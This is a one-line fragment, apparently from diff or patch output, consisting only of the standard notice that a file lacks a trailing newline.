\ No newline at end of file